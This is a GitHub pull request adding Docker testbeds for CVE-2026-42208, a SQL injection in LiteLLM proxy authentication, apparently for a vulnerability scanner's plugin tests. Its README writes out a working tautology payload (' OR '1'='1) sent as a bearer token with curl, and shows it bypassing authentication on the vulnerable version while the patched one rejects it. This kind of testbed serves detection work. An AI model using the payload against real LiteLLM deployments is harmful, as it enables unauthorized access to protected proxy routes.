-
Notifications
You must be signed in to change notification settings - Fork 54
Testbeds for CVE-2026-42208-litellm #237
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,45 @@ | ||
| # SQL Injection affecting LiteLLM proxy authentication (CVE-2026-42208) | ||
|
|
||
| LiteLLM proxy versions v1.82.0 and earlier fail to properly parameterize token verification queries. A remote unauthenticated attacker can supply crafted API keys containing malicious SQL syntax (such as tautology-based payloads) to bypass authentication checks and interact with protected proxy routes. | ||
|
|
||
| ## Vulnerable Version | ||
|
|
||
| ### Setup | ||
|
|
||
| Start the vulnerable LiteLLM proxy instance (v1.82.0-stable) and its PostgreSQL database on port 4000: | ||
|
|
||
| ```sh | ||
| docker compose up -d litellm-vuln db | ||
| ``` | ||
| ### Testing the vulnerability | ||
|
|
||
| ``` | ||
| curl -H "Authorization: Bearer ' OR '1'='1" localhost:4000/v1/models | ||
|
|
||
| ``` | ||
| Response: | ||
|
|
||
| ``` | ||
| {"data":[{"id":"*","object":"model","created":1677610602,"owned_by":"openai"}],"object":"list"} | ||
|
|
||
| ``` | ||
| ## Safe Version | ||
|
|
||
| ### Setup | ||
|
|
||
| Start the patched LiteLLM proxy instance (v1.83.10-stable) and its PostgreSQL database on port 4001: | ||
|
|
||
| ```sh | ||
| docker compose up -d litellm-patched db | ||
| ``` | ||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||
| ### Testing the vulnerability | ||
|
|
||
| ``` | ||
| curl -H "Authorization: Bearer ' OR '1'='1" localhost:4001/v1/models | ||
| ``` | ||
| Response: | ||
|
|
||
| ``` | ||
| {"error":{"message":"Authentication Error, LiteLLM Virtual Key expected. Received=' OR****'='1, expected to start with 'sk-'.","type":"auth_error","param":"None","code":"401"}} | ||
|
|
||
| ``` | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,15 @@ | ||
| model_list: | ||
| - model_name: local-dummy | ||
| litellm_params: | ||
| model: openai/local-dummy | ||
| api_base: http://127.0.0.1:65535/v1 | ||
| api_key: sk-local-dummy-provider-key | ||
|
|
||
| general_settings: | ||
| master_key: sk-local-master-vuln | ||
| database_url: os.environ/DATABASE_URL | ||
| store_model_in_db: true | ||
| disable_error_logs: false | ||
|
|
||
| litellm_settings: | ||
| set_verbose: false |
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,85 @@ | ||||||||||||||||||||||||||||||||||||||||||
| services: | ||||||||||||||||||||||||||||||||||||||||||
| db: | ||||||||||||||||||||||||||||||||||||||||||
| image: postgres:15-alpine | ||||||||||||||||||||||||||||||||||||||||||
| container_name: litellm-db | ||||||||||||||||||||||||||||||||||||||||||
| environment: | ||||||||||||||||||||||||||||||||||||||||||
| POSTGRES_USER: litellm | ||||||||||||||||||||||||||||||||||||||||||
| POSTGRES_PASSWORD: litellm | ||||||||||||||||||||||||||||||||||||||||||
| POSTGRES_DB: litellm | ||||||||||||||||||||||||||||||||||||||||||
| healthcheck: | ||||||||||||||||||||||||||||||||||||||||||
| test: ["CMD-SHELL", "pg_isready -U litellm -d litellm"] | ||||||||||||||||||||||||||||||||||||||||||
| interval: 5s | ||||||||||||||||||||||||||||||||||||||||||
| timeout: 3s | ||||||||||||||||||||||||||||||||||||||||||
| retries: 30 | ||||||||||||||||||||||||||||||||||||||||||
| restart: unless-stopped | ||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||
| # --- VULNERABLE PROXY (Port 4000) --- | ||||||||||||||||||||||||||||||||||||||||||
| litellm-vuln: | ||||||||||||||||||||||||||||||||||||||||||
| image: ghcr.io/berriai/litellm:v1.82.0-stable | ||||||||||||||||||||||||||||||||||||||||||
| container_name: litellm-proxy-vuln | ||||||||||||||||||||||||||||||||||||||||||
| depends_on: | ||||||||||||||||||||||||||||||||||||||||||
| db: | ||||||||||||||||||||||||||||||||||||||||||
| condition: service_healthy | ||||||||||||||||||||||||||||||||||||||||||
| environment: | ||||||||||||||||||||||||||||||||||||||||||
| PYTHONOPTIMIZE: "1" | ||||||||||||||||||||||||||||||||||||||||||
| DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm | ||||||||||||||||||||||||||||||||||||||||||
| STORE_MODEL_IN_DB: "True" | ||||||||||||||||||||||||||||||||||||||||||
| LITELLM_MASTER_KEY: sk-local-master-vuln | ||||||||||||||||||||||||||||||||||||||||||
| ports: | ||||||||||||||||||||||||||||||||||||||||||
| - "4000:4000" | ||||||||||||||||||||||||||||||||||||||||||
| volumes: | ||||||||||||||||||||||||||||||||||||||||||
| - ./config.yaml:/app/config.yaml | ||||||||||||||||||||||||||||||||||||||||||
| command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"] | ||||||||||||||||||||||||||||||||||||||||||
| healthcheck: | ||||||||||||||||||||||||||||||||||||||||||
| test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""] | ||||||||||||||||||||||||||||||||||||||||||
| interval: 5s | ||||||||||||||||||||||||||||||||||||||||||
| timeout: 3s | ||||||||||||||||||||||||||||||||||||||||||
| retries: 30 | ||||||||||||||||||||||||||||||||||||||||||
| restart: unless-stopped | ||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||
| # --- PATCHED PROXY (Port 4001) --- | ||||||||||||||||||||||||||||||||||||||||||
| litellm-patched: | ||||||||||||||||||||||||||||||||||||||||||
| image: ghcr.io/berriai/litellm:v1.83.10-stable | ||||||||||||||||||||||||||||||||||||||||||
| container_name: litellm-proxy-patched | ||||||||||||||||||||||||||||||||||||||||||
| depends_on: | ||||||||||||||||||||||||||||||||||||||||||
| db: | ||||||||||||||||||||||||||||||||||||||||||
| condition: service_healthy | ||||||||||||||||||||||||||||||||||||||||||
| environment: | ||||||||||||||||||||||||||||||||||||||||||
| DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm | ||||||||||||||||||||||||||||||||||||||||||
| STORE_MODEL_IN_DB: "True" | ||||||||||||||||||||||||||||||||||||||||||
| LITELLM_MASTER_KEY: sk-local-master-vuln | ||||||||||||||||||||||||||||||||||||||||||
| ports: | ||||||||||||||||||||||||||||||||||||||||||
| - "4001:4000" | ||||||||||||||||||||||||||||||||||||||||||
| volumes: | ||||||||||||||||||||||||||||||||||||||||||
| - ./config.yaml:/app/config.yaml | ||||||||||||||||||||||||||||||||||||||||||
| command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"] | ||||||||||||||||||||||||||||||||||||||||||
| healthcheck: | ||||||||||||||||||||||||||||||||||||||||||
| test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""] | ||||||||||||||||||||||||||||||||||||||||||
| interval: 5s | ||||||||||||||||||||||||||||||||||||||||||
| timeout: 3s | ||||||||||||||||||||||||||||||||||||||||||
| retries: 30 | ||||||||||||||||||||||||||||||||||||||||||
| restart: unless-stopped | ||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||
| # --- RELIABLE AUTOMATED SEEDER --- | ||||||||||||||||||||||||||||||||||||||||||
| seeder: | ||||||||||||||||||||||||||||||||||||||||||
| image: docker.io/curlimages/curl | ||||||||||||||||||||||||||||||||||||||||||
| container_name: litellm-seeder | ||||||||||||||||||||||||||||||||||||||||||
| depends_on: | ||||||||||||||||||||||||||||||||||||||||||
| litellm-vuln: | ||||||||||||||||||||||||||||||||||||||||||
| condition: service_healthy | ||||||||||||||||||||||||||||||||||||||||||
| litellm-patched: | ||||||||||||||||||||||||||||||||||||||||||
| condition: service_healthy | ||||||||||||||||||||||||||||||||||||||||||
| command: | ||||||||||||||||||||||||||||||||||||||||||
| - sh | ||||||||||||||||||||||||||||||||||||||||||
| - -c | ||||||||||||||||||||||||||||||||||||||||||
| - | | ||||||||||||||||||||||||||||||||||||||||||
| echo "Seeding Vulnerable Proxy..." | ||||||||||||||||||||||||||||||||||||||||||
| until [ "$(curl -s -o /dev/null -w "%{http_code}" -X POST http://litellm-vuln:4000/key/generate -H "Authorization: Bearer sk-local-master-vuln" -H "Content-Type: application/json" -d '{"models":["*"]}')" = "200" ]; do | ||||||||||||||||||||||||||||||||||||||||||
| echo "Waiting for vuln proxy API..." | ||||||||||||||||||||||||||||||||||||||||||
| sleep 2 | ||||||||||||||||||||||||||||||||||||||||||
| done | ||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||
| echo "Vulnerable Proxy seeding completed successfully!" | ||||||||||||||||||||||||||||||||||||||||||
|
Comment on lines
+63
to
+82
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
Seeder appears unnecessary, testbed and Tsunami plugin still works without it
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The seeder is needed for the vulnerable instance to initialize database tables and generate the master API key required for authentication. It fails on the patched version because newer schema migrations, strict permission checks, or updated internal routing reject the legacy initialization payload. |
||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||
| volumes: | ||||||||||||||||||||||||||||||||||||||||||
| postgres_data: | ||||||||||||||||||||||||||||||||||||||||||
Uh oh!
There was an error while loading. Please reload this page.